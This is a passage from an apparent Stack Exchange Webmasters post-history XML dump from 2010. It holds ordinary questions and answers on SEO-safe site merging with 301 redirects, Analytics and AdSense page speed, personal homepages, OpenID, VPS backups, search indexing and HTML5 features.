  <row Id="2823" PostHistoryTypeId="3" PostId="1550" RevisionGUID="e5e8ee8a-ce75-4486-a27b-df5eb4e5c2b8" CreationDate="2010-07-24T21:57:32.763" UserId="702" Text="&lt;web-development&gt;&lt;books&gt;" />
  <row Id="2824" PostHistoryTypeId="2" PostId="1551" RevisionGUID="17b62a9c-70d4-4a5d-9aed-c43c5feca205" CreationDate="2010-07-24T22:09:02.820" UserId="138" Text="As someone who's done this, it's almost akin to taking an apple and turning it into an orange and it's definately outside the scope of webmastering. I'd strongly suggest Stack Overflow." />
  <row Id="2825" PostHistoryTypeId="2" PostId="1552" RevisionGUID="4eac1fed-cea8-4e35-b298-896bd3b652b4" CreationDate="2010-07-25T00:29:28.827" UserId="1019" Text="I have a friend that I'm helping out with some web design. Basically, the guy owns a few businesses that are all complementary of each other and he wants to combine them all into a single site. There's service A and B, based on the west side of our state; and service A and B based on the east side. Each has their own website (eg, eastservicea.com, westservicea.com).&#xD;&#xA;&#xD;&#xA;The previous web designer maintained completely separate and unique content, and unique designs, for all four sites. He is now wanting to merge all that together into a single site (statewideservica.com) with a new design.&#xD;&#xA;&#xD;&#xA;Right now all four sites are at the top of the searches for his niche market. The last thing we want to do is hurt that SEO. So the debate how do we merge these sites without hurting the SEO.&#xD;&#xA;&#xD;&#xA;   1. Keep the existing URL's and just make the content of all the same.&#xD;&#xA;   2. Redirect all the sites to the new URL.&#xD;&#xA;   3. Set a static page on all the existing URLs with content, but all links point to the new URL.&#xD;&#xA;&#xD;&#xA;Any thoughts?" />
  <row Id="2826" PostHistoryTypeId="1" PostId="1552" RevisionGUID="4eac1fed-cea8-4e35-b298-896bd3b652b4" CreationDate="2010-07-25T00:29:28.827" UserId="1019" Text="Combine websites without hurting SEO" />
  <row Id="2827" PostHistoryTypeId="3" PostId="1552" RevisionGUID="4eac1fed-cea8-4e35-b298-896bd3b652b4" CreationDate="2010-07-25T00:29:28.827" UserId="1019" Text="&lt;seo&gt;&lt;site-deployment&gt;&lt;url&gt;" />
  <row Id="2828" PostHistoryTypeId="2" PostId="1553" RevisionGUID="9265d4a7-5880-4944-b11d-5b061e40db1c" CreationDate="2010-07-25T00:45:35.050" UserId="745" Text="Don't just redirect everything to the new homepage. Before you start, take an inventory of all existing URLs that you want to transfer. You should redirect each old URL to a new URL with a 301 redirect. For example:&#xD;&#xA;&#xD;&#xA; - eastservicea.com/widgets/red/ should&#xD;&#xA;   redirect to&#xD;&#xA;   statewideservica.com/widgets/red/&#xD;&#xA; - westservicea.com/gizmos/blue/ should&#xD;&#xA;   redirect to&#xD;&#xA;   statewideservica.com/gizmos/blue/&#xD;&#xA;&#xD;&#xA;If you have overlap, like an about us page for each site, you can have them all point at the new, improved statewideservica.com/about-us. I'd really recommend doing this on the server level ([.htaccess][1]), rather than through code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.addedbytes.com/cheat-sheets/mod_rewrite-cheat-sheet/" />
  <row Id="2829" PostHistoryTypeId="2" PostId="1554" RevisionGUID="1a3e8c53-1480-4d92-8804-003cf0d522ed" CreationDate="2010-07-25T00:48:39.270" UserId="233" Text="1. If the content is the same then changing HTML will make no difference to rankings, although you may get a tiny boost from better page speed.&#xD;&#xA;&#xD;&#xA;2. Generally, having a lot of 301 redirects isn't a huge problem but with 45,000 pages you should be careful to not make any mistakes! Make sure you are consistent; in your case you will have a one-to-one mapping of URLs.&#xD;&#xA;&#xD;&#xA;3. You may see a drop at first while the search engines are working things out (particularly in Bing/Yahoo rather than Google). But yes, the benefits do outweigh the drawbacks.&#xD;&#xA;&#xD;&#xA;I would highly recommend stretching out the changeover period over several months. Start with a subset of URLs if possible, say 1000, and see what effect it has. Do those pages gain rankings and visitors? Then continue in that vein, leaving your highest-ranking pages until last." />
  <row Id="2830" PostHistoryTypeId="2" PostId="1555" RevisionGUID="f1336aea-4c5d-4581-b982-4e1bb3876cd4" CreationDate="2010-07-25T01:13:09.207" UserId="233" Text="Whenever I run Google Page Speed or YSlow, many of the optimisations suggested stem from my use of Google Adsense and Google Analytics.&#xD;&#xA;&#xD;&#xA;For example, YSlow says there are &quot;9 external Javascript scripts&quot; - I only have one on my site, so the rest are obviously from either adsense or analytics. Also under &quot;Reduce DNS lookups&quot;, these domains are listed:&#xD;&#xA;&#xD;&#xA;&gt; pagead2.googlesyndication.com  &#xD;&#xA;&gt; googleads.g.doubleclick.net  &#xD;&#xA;&gt; www.google-analytics.com  &#xD;&#xA;&gt; altfarm.mediaplex.com  &#xD;&#xA;&gt; img-cdn.mediaplex.com  &#xD;&#xA;&gt; eu.bid.invitemedia.com  &#xD;&#xA;&gt; ad.doubleclick.net&#xD;&#xA;&gt; s0.2mdn.net  &#xD;&#xA;&gt; pixel.invitemedia.com&#xD;&#xA;&gt; adadvisor.net&#xD;&#xA;&#xD;&#xA;Is there anything I can do to reduce these or make other improvements to the speed?" />
  <row Id="2831" PostHistoryTypeId="1" PostId="1555" RevisionGUID="f1336aea-4c5d-4581-b982-4e1bb3876cd4" CreationDate="2010-07-25T01:13:09.207" UserId="233" Text="Is there any way to improve the speed of Google Adsense/Analytics?" />
  <row Id="2832" PostHistoryTypeId="3" PostId="1555" RevisionGUID="f1336aea-4c5d-4581-b982-4e1bb3876cd4" CreationDate="2010-07-25T01:13:09.207" UserId="233" Text="&lt;google-analytics&gt;&lt;google-adsense&gt;&lt;speed&gt;" />
  <row Id="2833" PostHistoryTypeId="2" PostId="1556" RevisionGUID="a535e243-fbbe-474f-998d-7cc05b178ab2" CreationDate="2010-07-25T01:17:44.343" UserId="180" Text="What [@VirtuosiMedia said][1].&#xD;&#xA;&#xD;&#xA;Take advantage of Google's Webmaster Tools [site move instructions][2].&#xD;&#xA;&#xD;&#xA;Be prepared for the site to suffer traffic drops in the short term as the search indices come up to speed with the changes.  As well, any time there is a 301 the link &quot;quality&quot; is degraded slightly, so there may be a slight drop overall.  Do your best to ensure that the content of the pages that you're 301-ing to are as similar as possible to the old pages, at least for a couple months.  If possible, use the same IP address as the most popular site for the new site.  You may want to consider migrating the sites to the new domain one at a time over a longer period.  Are they currently strongly interlinked?&#xD;&#xA;&#xD;&#xA;Be prepared to maintain those redirects FOREVER. Keep the old sites with their existing IP addresses if possible, and maintain their redirect configurations independently.  If you restructure the main site in the future, you will want to go and revise these redirects so you don't get cascading redirects with even more pagerank degradation.&#xD;&#xA;&#xD;&#xA;When you're done, keep a close eye out on the new site for 404's, and keep the old sites verified in Google and Bing Webmaster Tools so you can track any errors there as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1552/combine-websites-without-hurting-seo/1553#1553&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=83105" />
  <row Id="2835" PostHistoryTypeId="2" PostId="1558" RevisionGUID="32d55ecb-fe84-4390-83a9-cb9cb67e4315" CreationDate="2010-07-25T01:52:39.393" UserId="745" Text="Google Analytics can be set up so that it loads [asynchronously][1], which will help improve the situation. It doesn't look like they currently have a similar script for AdSense.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html" />
  <row Id="2836" PostHistoryTypeId="5" PostId="1553" RevisionGUID="4b4ce8dd-411c-456c-ac28-1674b43ea925" CreationDate="2010-07-25T03:08:07.027" UserId="745" Comment="deleted 93 characters in body" Text="Don't just redirect everything to the new homepage. Before you start, take an inventory of all existing URLs that you want to transfer. You should redirect each old URL to a new URL with a 301 redirect. For example:&#xD;&#xA;&#xD;&#xA; - eastservicea.com/widgets/red/ should&#xD;&#xA;   redirect to&#xD;&#xA;   statewideservica.com/widgets/red/&#xD;&#xA; - westservicea.com/gizmos/blue/ should&#xD;&#xA;   redirect to&#xD;&#xA;   statewideservica.com/gizmos/blue/&#xD;&#xA;&#xD;&#xA;If you have overlap, like an about us page for each site, you can have them all point at the new, improved statewideservica.com/about-us. I'd really recommend doing this on the server level, rather than through code." />
  <row Id="2837" PostHistoryTypeId="2" PostId="1559" RevisionGUID="6726e2de-cea5-432a-8015-350581620284" CreationDate="2010-07-25T07:49:17.340" UserId="237" Text="Generally a lot of these ad scripts are 'cache-busted' purposefully, so that a hit is made to the server every single time to register the view.&#xD;&#xA;&#xD;&#xA;Unfortunately just using adsense means that you've opened yourself up to a hell of a lot of external javascripts and there's really not much you can do about it other than decreasing the number of ad zones (TOS only allows 3 per page anyway) or just not running adsense.&#xD;&#xA;&#xD;&#xA;You could try wrapping up your google ads javascript in your own hosted javascript for each zone that did a document.write and output the required code.  I'm pretty sure this would cause it to load after the body has loaded and therefore mean your page will load first." />
  <row Id="2838" PostHistoryTypeId="2" PostId="1560" RevisionGUID="c3428f3d-d536-427d-ac83-dab2d55fd938" CreationDate="2010-07-25T11:23:42.663" UserId="1024" Text="You could try http://just-ping.com/." />
  <row Id="2839" PostHistoryTypeId="2" PostId="1561" RevisionGUID="396b6c52-544e-4c9c-a64d-92bf2ad548d0" CreationDate="2010-07-25T13:07:31.290" UserId="353" Text="I'm torn between making my homepage listing of (5-10 max) recent blog posts versus making my homepage my &quot;about me&quot; bio page. I can make the case for both (and if someone would like me to, leave a comment and I will). I think that my case for both is equally strong, but is there any evidence, scientific or anecdotal, as to what type of page or what content the homepage of a personal website should be?" />
  <row Id="2840" PostHistoryTypeId="1" PostId="1561" RevisionGUID="396b6c52-544e-4c9c-a64d-92bf2ad548d0" CreationDate="2010-07-25T13:07:31.290" UserId="353" Text="When a person lands on a personal website, what do they expect to see on the homepage?" />
  <row Id="2841" PostHistoryTypeId="3" PostId="1561" RevisionGUID="396b6c52-544e-4c9c-a64d-92bf2ad548d0" CreationDate="2010-07-25T13:07:31.290" UserId="353" Text="&lt;landing-page&gt;&lt;personal-website&gt;&lt;homepage&gt;" />
  <row Id="2842" PostHistoryTypeId="5" PostId="1561" RevisionGUID="9ae3aeb7-81f0-4ca3-b707-75b5b49fde5b" CreationDate="2010-07-25T14:32:39.463" UserId="353" Comment="added 510 characters in body" Text="I'm torn between making my homepage listing of (5-10 max) recent blog posts versus making my homepage my &quot;about me&quot; bio page. I can make the case for both (and if someone would like me to, leave a comment and I will). I think that my case for both is equally strong, but is there any evidence, scientific or anecdotal, as to what type of page or what content the homepage of a personal website should be?&#xD;&#xA;&#xD;&#xA;I should add that I am interested not only in presenting content that would be expected, but also producing something that would help in ensuring decent result placement when searching for my site. That said, SEO is not my primary concern - I would suspect that most people who visit my site are either friends or colleagues who I have told about my site, people who have read my profile on a public site and want to know more about me, or people who have received my resume and wish to know more about me." />
  <row Id="2843" PostHistoryTypeId="2" PostId="1562" RevisionGUID="6fdf8e2f-5cb1-4ec0-9d6c-59f47547491b" CreationDate="2010-07-25T15:02:15.303" UserId="89" Text="I have a Windows VPS hosted at some web host, I have remote desktop administrator access and I can install whatever software I need on that VPS.&#xD;&#xA;&#xD;&#xA;This is a basic low cost VPS, so the system resources (especially memory) are extremely limited, the main difference between backing up a dedicated server and a VPS is the VPS's limited resources.&#xD;&#xA;&#xD;&#xA;My requirements are:&#xD;&#xA;&#xD;&#xA;1. Backup the VPS content (I don't want to backup the entire virtual hard drive, I want to be able to access my files without installing the same VM software).&#xD;&#xA;2. Backup files, IIS configuration and SQL Server databases.&#xD;&#xA;3. Extremely light weight, use (almost) no memory when inactive, able to limit memory usage when backing up.&#xD;&#xA;4. Backup to a remote location (Amazon S3 is best because it's cheap).&#xD;&#xA;5. Fast and bandwidth efficient (uses compression, incremental backup, etc.)&#xD;&#xA;6. Optionally able to backup up mail server (I use SmarterMail), I can live without this because I have a relatively simple e-mail setup and I keep all my messages on my desktop in Outlook.&#xD;&#xA;7. Backing up files in use is not an issue for me because most files (except SQL Server and mail data listed above) will never be locked on this specific server.&#xD;&#xA;&#xD;&#xA;I have a limited budget, obviously I would love a free solution ,but this is a business machine and good backup is worth some money.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2844" PostHistoryTypeId="1" PostId="1562" RevisionGUID="6fdf8e2f-5cb1-4ec0-9d6c-59f47547491b" CreationDate="2010-07-25T15:02:15.303" UserId="89" Text="What are the best options to backup a hosted windows VPS " />
  <row Id="2845" PostHistoryTypeId="3" PostId="1562" RevisionGUID="6fdf8e2f-5cb1-4ec0-9d6c-59f47547491b" CreationDate="2010-07-25T15:02:15.303" UserId="89" Text="&lt;vps&gt;&lt;backups&gt;" />
  <row Id="2846" PostHistoryTypeId="2" PostId="1563" RevisionGUID="6ec8ee5c-ba12-48a7-9643-bed239bd0e3f" CreationDate="2010-07-25T16:23:08.223" UserId="711" Text="In a way, you are moving to a new website. You are keeping the products, but basically changing almost everything else: the URLs, the internal linking, the HTML of the pages and the back-end (the cart software). It's impossible to say what the long term consequences might be without knowing the details, but if the new software makes it much easier for you to maintain your site, then that'll give you time to work out any quirks that might come up. This is a big move, so plan it very well and monitor each step to make sure that it works as planned. You will possibly see quite large fluctuations in indexing and ranking, so be sure that you are able to &quot;swallow&quot; them (pick a slow season, have some ads budget available, etc.). &#xD;&#xA;&#xD;&#xA;* Changes in content and internal linking will affect your rankings, at least in the short term. &#xD;&#xA;* Don't worry about &quot;too many redirects&quot; for the whole site, but make sure that you only have to do one per URL (don't redirect in multiple steps). Make sure the redirects (old URLs) are not disallowed via robots.txt and test them via Google's Webmaster Tools. Also test all URLs to make sure they redirect (crawl the old site with a tool like Xenu, then check all of those URLs once you have the redirects set up). Yes, this is a bit of work :), but it's better to be certain about this. Keep in mind that as the redirects are being found, your site's structure will be &quot;rediscovered&quot; like a new site would be, so this is definitely something that will affect crawling, indexing and ranking for a while. Set up Sitemap files for old &amp; new URLs and monitor your progress in Webmaster Tools. Be very, very patient.&#xD;&#xA;* Advantages vs disadvantages ... that's something you need to determine yourself. A site move like this is a big move, at the very least you need to plan each step and set expectations properly. &#xD;&#xA;&#xD;&#xA;Being able to clearly monitor the progress (via Analytics and indexed URL count) will help you to stay calm during the move. At any rate, try not to do anything drastic should things take a bit longer -- if you did your homework and the technical side was properly planned &amp; tested before the move, then at worst you'll have to wait a bit longer than expected. " />
  <row Id="2847" PostHistoryTypeId="2" PostId="1564" RevisionGUID="08dd47d5-18c7-43d4-8785-ce558a3c8102" CreationDate="2010-07-25T16:29:26.767" UserId="152" Text="I know that OpenID would benefit more from a larger number of sites adopting it, than it would from more people being providers.&#xD;&#xA;&#xD;&#xA;But even still, I am curious as to when it would be good for a site to be the provider." />
  <row Id="2848" PostHistoryTypeId="1" PostId="1564" RevisionGUID="08dd47d5-18c7-43d4-8785-ce558a3c8102" CreationDate="2010-07-25T16:29:26.767" UserId="152" Text="When should you consider being an OpenID provider?" />
  <row Id="2849" PostHistoryTypeId="3" PostId="1564" RevisionGUID="08dd47d5-18c7-43d4-8785-ce558a3c8102" CreationDate="2010-07-25T16:29:26.767" UserId="152" Text="&lt;openid&gt;&lt;login&gt;" />
  <row Id="2850" PostHistoryTypeId="2" PostId="1565" RevisionGUID="e1d91768-ef40-423a-8259-d7d2de84ad36" CreationDate="2010-07-25T17:13:28.017" UserId="55" Text="I use my personal web site as my professional web site too. The front page is the only place where I'm overtly self-promotional, and even there I bring in a bunch of stuff such as:&#xD;&#xA;&#xD;&#xA; - Latest blog posts&#xD;&#xA; - (sometimes) Latest commitments to my Mercurial repositories&#xD;&#xA; - Links to interesting tutorials that I've written&#xD;&#xA;&#xD;&#xA;I do rather well in search engines for the keywords that I want, however a significant amount of my business comes directly from word of mouth referrals, well these days its more like _word of [insert social network here]_.&#xD;&#xA;&#xD;&#xA;If your blog posts demonstrate that you have a firm grasp of the topic, they become far more interesting than any other 'canned' page, so sure - by all means - make sure they get into the front page mix with front and center placement. &#xD;&#xA;&#xD;&#xA;Client, perspective employer, colleague .. you'd want all three to walk away with the same impression. Sure, its great to list your accomplishments, but keeping a sharp, frequently updated and well disciplined blog is the key ingredient. Again, that's only my opinion.&#xD;&#xA;&#xD;&#xA;I may spend 2 - 3 minutes skimming your bio / about / etc pages. If your blog is interesting, I may spend a 'few cups of coffee' reading it. &#xD;&#xA;&#xD;&#xA;Disclaimer - I am not at *all* suggesting that my own personal site is a shining example of this. In fact, I've digressed more into my Stack Exchange addiction than much of anything else over the past few weeks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2851" PostHistoryTypeId="2" PostId="1566" RevisionGUID="ab66ab67-dfca-48b5-9ef6-face442b7aa4" CreationDate="2010-07-25T17:44:04.003" UserId="745" Text="In general, I would agree with what Tim Post said, with one caveat: It depends on what you blog about. If your blog is mainly technical with only a few personal posts mixed in, I'd put the blog on the front page. If it's the opposite, I'd put your CV/about page in front with links to your most popular technical posts.&#xD;&#xA;&#xD;&#xA;However, there's nothing that says you can't put both on the front page. A short about section in a side column can function just as well as a full page.&#xD;&#xA;&#xD;&#xA;One final thing to note: If you're going to use this website to showcase yourself professionally, keep that in mind when you're writing posts. Certain types of posts might not reflect what you want a potential employer or colleague to see." />
  <row Id="2852" PostHistoryTypeId="2" PostId="1567" RevisionGUID="eaf0ea9c-32b7-45dc-8e24-3935b0387f62" CreationDate="2010-07-25T17:48:52.810" UserId="914" Text="I believe a good personal homepage should have a mixture of dynamic and static content. You should definitely introduce yourself, so people who land there know who's site they are on and what you do, but it's also good to have some dynamic content (such as blog posts, articles, photographs and other media) that keep the page fresh and interesting.&#xD;&#xA;&#xD;&#xA;When I re-developed my [personal homepage][1] recently I bore this in mind. So I have some welcome text, with links to main sections of the site, and then under that summaries of the latest blog posts. I also mix in some other dynamic content pulled in using APIs (LastFM and Flickr) and also add a few random elements drawn from rest of site content (such as Quote of the Day and Random Music Track).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.diplo.co.uk/" />
  <row Id="2853" PostHistoryTypeId="2" PostId="1568" RevisionGUID="fa16576f-d7f9-4101-9c0b-f347b6a37d7e" CreationDate="2010-07-25T19:31:31.753" UserId="353" Text="From my standpoint of a user, I expect my OpenID providers to be around a long time. I wouldn't want the service that's allowing me to log into a number of sites to disappear overnight. That's why I use Google and Verisign as my providers (Verisign being my primary simply because they offered it before Google did). I would never use a new upstart service as my provider, unless I was using myself as my provider (and I know people who do that).&#xD;&#xA;&#xD;&#xA;Honestly, it just seems like more of a hassle to become a provider than it's worth. Becoming a consumer would be most beneficial at this point. Your target audience is probably a user of at least one of AOL, Facebook, Google, MySpace, Verisign, Yahoo!, or WordPress. Other people jumped onto MyOpenID or one of the other providers early in the game, too. The world doesn't need more providers, but does need more consumers.&#xD;&#xA;&#xD;&#xA;On the other hand, though, if you are competing with any of those companies I named, then perhaps you should become a provider. From a business standpoint, it's a feature that you can check off as &quot;they do this, so we do it as good or better&quot;." />
  <row Id="2854" PostHistoryTypeId="2" PostId="1569" RevisionGUID="d59eed2d-e7b0-4378-a370-0e4a4947a492" CreationDate="2010-07-25T19:41:51.307" UserId="108" Text="If you look at it from the standpoint of Return on Investment (ROI) it makes little sense to become an OpenID provider unless you have a massive user base.  The value of companies like Google being an OpenID provider is that they get more people to visit their site and more people to tightly integrate and work with them.&#xD;&#xA;&#xD;&#xA;This offsets the technical, monetary, and legal expenses that are the cost of being an OpenID provider.  You have to remember that you have to build a technical team to develop and manage your OpenID servers, you have to pay a ton of money to buy or rent server that will always be up and can handle the load, and finally OpenID has to be on.  If Google's OpenID service goes down people have no access to ALL of the sites that use OpenID.  This can come with legal ramifications if it costs someone money and they are below their service agreement up-time levels.&#xD;&#xA;&#xD;&#xA;Also, there is the issue of adoption.  SO and Stack Exchange only work with certain sites and Companies for OpenID.  You would have to go through the same process and convince sites like SO to work with you.  This may be the biggest barrier to hosting a useful OpenID provider.&#xD;&#xA;&#xD;&#xA;Finally, as others have said, most people are not going to trust any company that is going to close down.  Fortune 500 level companies are usually where people put there trust in these kinds of things because even if a company like Google goes bankrupt someone will buy them and continue the service.  When you get to small companies there are a ton of issues.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2855" PostHistoryTypeId="2" PostId="1570" RevisionGUID="67290b63-1b56-4759-b579-012baed760d5" CreationDate="2010-07-25T19:49:22.210" UserId="108" Text="Loading Google Analytics Asynchronously is a good start.  Beyond that, how long does it take your page to load?  If it takes you page less than 2 seconds then you may not want to spend the time optimizing it any more.  &#xD;&#xA;&#xD;&#xA;If you are concerned that it would load slower from elsewhere, checkout http://www.webpagetest.org/ to test you page against other locations around the world and other internet speeds.  This page will also show you how long each chunk of your site is taking to load.&#xD;&#xA;&#xD;&#xA;You have to remember that it is probably not useful to make your page load at a &quot;perfect speed&quot; because the cost in time and energy is too high.  If you can get your page below 2 seconds, according to Google, you will be in the top 20% of websites and that is probably good enough.  If not, look where else you can increase you page speed.  Sometimes fixing a bunch of smaller things will make you site fast enough.&#xD;&#xA;&#xD;&#xA;The best way to put it, I think, is pick the low hanging fruit and Google Adsense isn't low hanging really.  Analytics is and should be easy enough to fix by making it asynchronous and maybe you should leave it at that." />
  <row Id="2856" PostHistoryTypeId="2" PostId="1571" RevisionGUID="58f4619d-48e4-4867-994d-1c6244e81633" CreationDate="2010-07-25T19:54:20.683" UserId="108" Text="What VirtuosMedia and JasonBirch both said.&#xD;&#xA;&#xD;&#xA;One more thing, whatever you do, I would not make 4 copies of the exact same site for each URL and host them seperately.  This will end up hurting you because all 4 of your sites will compete for the same traffic then.  So they will all do worse as they will compete.  Google, Bing, and Yahoo may also noticed that they are exact duplicatess and reduce your pagerank thinking that it is spam." />
  <row Id="2857" PostHistoryTypeId="2" PostId="1572" RevisionGUID="3ce616a0-6017-4ab0-b45c-74b69106ff7a" CreationDate="2010-07-25T20:22:26.997" UserId="590" Text="I've been using the [tor network][1].  it alows me to randomly connect through proxies throughout the world and is completely free.  combine that with firebug and the tor plug in for firexof and it only takes a few seconds to quickly check how the page loads elsewhere in the world&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.torproject.org/" />
  <row Id="2858" PostHistoryTypeId="5" PostId="974" RevisionGUID="9837e2e1-e1e9-4503-af23-ac60289c091f" CreationDate="2010-07-25T21:12:59.860" UserId="307" Comment="Added small note about custom attributes" Text="HTML5 is *huge*, but also **awesome**.&#xD;&#xA;&#xD;&#xA;In my view, it is mostly about *interoperability*. The spec goes and specifies even edge cases to try and make sure that **all browsers read the markup the same way**.&#xD;&#xA;&#xD;&#xA;In second place, HTML5 has video and audio, which do exactly what the name says it does. If you want to include video or audio, HTML5 should reduce your plugin needs.&#xD;&#xA;&#xD;&#xA;In third place, HTML5 includes lots of accessibility and semantic help. For instance, elements like `&lt;section&gt;` and `&lt;article&gt;` help machines figure out what content is supposed to be. New input types like `&lt;input type=email&gt;` can also be useful for the same reasons, although the new input types include custom UIs which make them useful even for &quot;common&quot; human readers.&#xD;&#xA;&#xD;&#xA;Note that the new Forms features are much more than new input types. It also includes support for placeholder text and several other attributes.&#xD;&#xA;&#xD;&#xA;HTML5 includes `&lt;canvas&gt;`, which allows drawing 2D(and, with WebGL, 3D) shapes like charts or even render games.&#xD;&#xA;&#xD;&#xA;Old behavior is now standardized, such as Internet Explorer's ancient `contentEditable`.&#xD;&#xA;&#xD;&#xA;The DOCTYPE is finally decent! You can now actually memorize it! `&lt;!DOCTYPE html&gt;`&#xD;&#xA;&#xD;&#xA;Specifying encoding is also easier, with `&lt;meta encoding=utf-8&gt;`.&#xD;&#xA;&#xD;&#xA;If you want to send data to the client and associate it with elements, you can now do it with custom attributes. For instance, `&lt;div data-status=open&gt;Open&lt;/div&gt;` is now finally allowed. Note that custom attribute names must be prefixed with `data-`.&#xD;&#xA;&#xD;&#xA;You can now include SVG and MathML in HTML documents. Previously, you could only do it with XHTML documents.&#xD;&#xA;&#xD;&#xA;Among the multiple new functions and fields HTML5 defines, one of the most impressive is classList, which enables you to manipulate the class attribute more easily. Instead of having to getAttribute/setAttribute and use complex hacks to figure out which classes an element has and remove a specific class from that element, classList makes those hard situations very simple.&#xD;&#xA;&#xD;&#xA;There are also multiple related specs, such as Web Workers, Web Sockets and IndexedDB, which are not really part of HTML5 but everybody talks about them as if they were. They are very useful for taking advantage of multi-core computers, communicating with servers and storing data locally.&#xD;&#xA;&#xD;&#xA;As for CSS3, it includes support for *animations*, *transitions*, *rounded borders* and the [flexible box model][1].&#xD;&#xA;&#xD;&#xA;Also new in CSS3 are the new selectors, which make it simpler to match specific elements on a page(such as only the odd or even rows in a table).&#xD;&#xA;&#xD;&#xA;Opacity, new units, marquee and ruby are also part of CSS3.&#xD;&#xA;&#xD;&#xA;I think that pretty much covers all important parts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hacks.mozilla.org/2010/04/the-css-3-flexible-box-model/" />
  <row Id="2859" PostHistoryTypeId="5" PostId="1568" RevisionGUID="1313d394-1d6b-4566-833e-5fc9470e38b4" CreationDate="2010-07-25T21:26:54.737" UserId="353" Comment="deleted 10 characters in body" Text="From my standpoint of a user, I expect my OpenID providers to be around a long time. I wouldn't want the service that's allowing me to log into a number of sites to disappear overnight. That's why I use Google and Verisign as my providers (Verisign being my primary simply because they offered it before Google did). I would never use a new upstart service as my provider, unless I was using myself as my provider (and I know people who do that).&#xD;&#xA;&#xD;&#xA;Honestly, it just seems like more of a hassle to become a provider than it's worth. Becoming a consumer would be most beneficial at this point. Your target audience is probably a user of at least one of AOL, Google, MySpace, Verisign, Yahoo!, or WordPress. Other people jumped onto MyOpenID or one of the other providers early in the game, too. The world doesn't need more providers, but does need more consumers.&#xD;&#xA;&#xD;&#xA;On the other hand, though, if you are competing with any of those companies I named, then perhaps you should become a provider. From a business standpoint, it's a feature that you can check off as &quot;they do this, so we do it as good or better&quot;." />
  <row Id="2860" PostHistoryTypeId="2" PostId="1573" RevisionGUID="ca00a80b-0643-427f-8985-ddc24ba2f54b" CreationDate="2010-07-25T22:10:04.193" UserId="460" Text="Just one point - there is a new version of google analytics code which should improve it's loading speed - so it might be worth changing to that." />
  <row Id="2861" PostHistoryTypeId="2" PostId="1574" RevisionGUID="859a229f-3f91-43fe-b6f5-25658e761311" CreationDate="2010-07-25T23:11:01.407" UserId="693" Text="I have added my website to the webmaster tools of some major search engines already, and supplied the sitemap for the website.&#xD;&#xA;&#xD;&#xA;I have been waiting for exactly 3 weeks now and still no data in the webmaster tools.&#xD;&#xA;&#xD;&#xA;I have also did some link building, and the click-trough link to my website could be found in the search results from day one.&#xD;&#xA;&#xD;&#xA;How long did it take for your website to get indexed? And why does is take so long?" />
  <row Id="2862" PostHistoryTypeId="1" PostId="1574" RevisionGUID="859a229f-3f91-43fe-b6f5-25658e761311" CreationDate="2010-07-25T23:11:01.407" UserId="693" Text="How long did it take for your new website to be indexed by search engines" />
  <row Id="2863" PostHistoryTypeId="3" PostId="1574" RevisionGUID="859a229f-3f91-43fe-b6f5-25658e761311" CreationDate="2010-07-25T23:11:01.407" UserId="693" Text="&lt;indexing&gt;&lt;webmaster-tools&gt;&lt;crawling&gt;" />
  <row Id="2864" PostHistoryTypeId="16" PostId="1574" RevisionGUID="859a229f-3f91-43fe-b6f5-25658e761311" CreationDate="2010-07-25T23:11:01.407" UserId="693" />
  <row Id="2865" PostHistoryTypeId="2" PostId="1575" RevisionGUID="3c6f4961-1533-494e-b2a4-4602b8446f02" CreationDate="2010-07-25T23:47:45.433" UserId="1031" Text="Does putting an unrelated site in a domain's subfolder (to avoid buying a new domain name) affect the domain's search engine ranking even if there are no links between them? For example, is it a bad practice will placing a cooking site at programming.com/cooking affect the search engine ranking of programming.com?" />
  <row Id="2866" PostHistoryTypeId="1" PostId="1575" RevisionGUID="3c6f4961-1533-494e-b2a4-4602b8446f02" CreationDate="2010-07-25T23:47:45.433" UserId="1031" Text="Do Sites in Subfolders affect the ranking of the Main Domain?" />
  <row Id="2867" PostHistoryTypeId="3" PostId="1575" RevisionGUID="3c6f4961-1533-494e-b2a4-4602b8446f02" CreationDate="2010-07-25T23:47:45.433" UserId="1031" Text="&lt;pagerank&gt;&lt;website&gt;" />
  <row Id="2868" PostHistoryTypeId="2" PostId="1576" RevisionGUID="b8d24cf2-8cfa-4e1c-8b0c-aa1d4c26152b" CreationDate="2010-07-26T00:01:59.990" UserId="982" Text="Tim, &#xD;&#xA;&#xD;&#xA;Be aware that for sites with a large proportion of single-visit sessions (like blogs, where a user reads a single article), the time-on-site value can mislead. Google Analytics fires a single call each page load, and the time-on-page calculation is the difference between the page load timestamp and the subsequent page load. From this it is clear that the last page in a visit does not get a time-on-page assigned - and for single-page visits there is no accumlated time.&#xD;&#xA;&#xD;&#xA;However, [Google Analytics calculates time-on-site][1] by dividing the total accumulated time by the number of visits (including bounce visits for which no time is accumulated), so the reported average time on site is lower than the actual time-on-site. If this is a problem, then there are a number of documented methods to track time-on-page by firing GA events after an elapsed time (I'd only suggest doing this for the first page on a session), or alternate analytics packages which automatically log while the page is open (check out ClickTale).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://analytics.blogspot.com/2007/09/reverting-back-to-original-average-time.html" />
  <row Id="2869" PostHistoryTypeId="2" PostId="1577" RevisionGUID="9b7ac6d3-ded4-45a0-8bd2-78bb17bec761" CreationDate="2010-07-26T00:47:22.863" UserId="1032" Text="Databases are designed for transactional data / consistency and security.&#xD;&#xA;&#xD;&#xA;Media files (images, audio, video) tend to be created and maybe deleted, but very rarely updated. So generally there's no need to keep them transactionally consistent with other data and a database won't give you any real benefit there. Text content maybe a different matter.&#xD;&#xA;&#xD;&#xA;As long as you don't have any problem with the concept of someone pulling your file directly if they have the file's URL, then a file system is fine. If you were running something like a photo library, where you expect to charge before people download the file, then that is probably a different matter. That is, once a user has paid, they may get a URL specific to that user or valid for only a short time, and the application handles multiple or temporary URLs pointing to the same image. That could still be handled by the app and a file system, but you end up serving the media through the application rather than as a straight file download 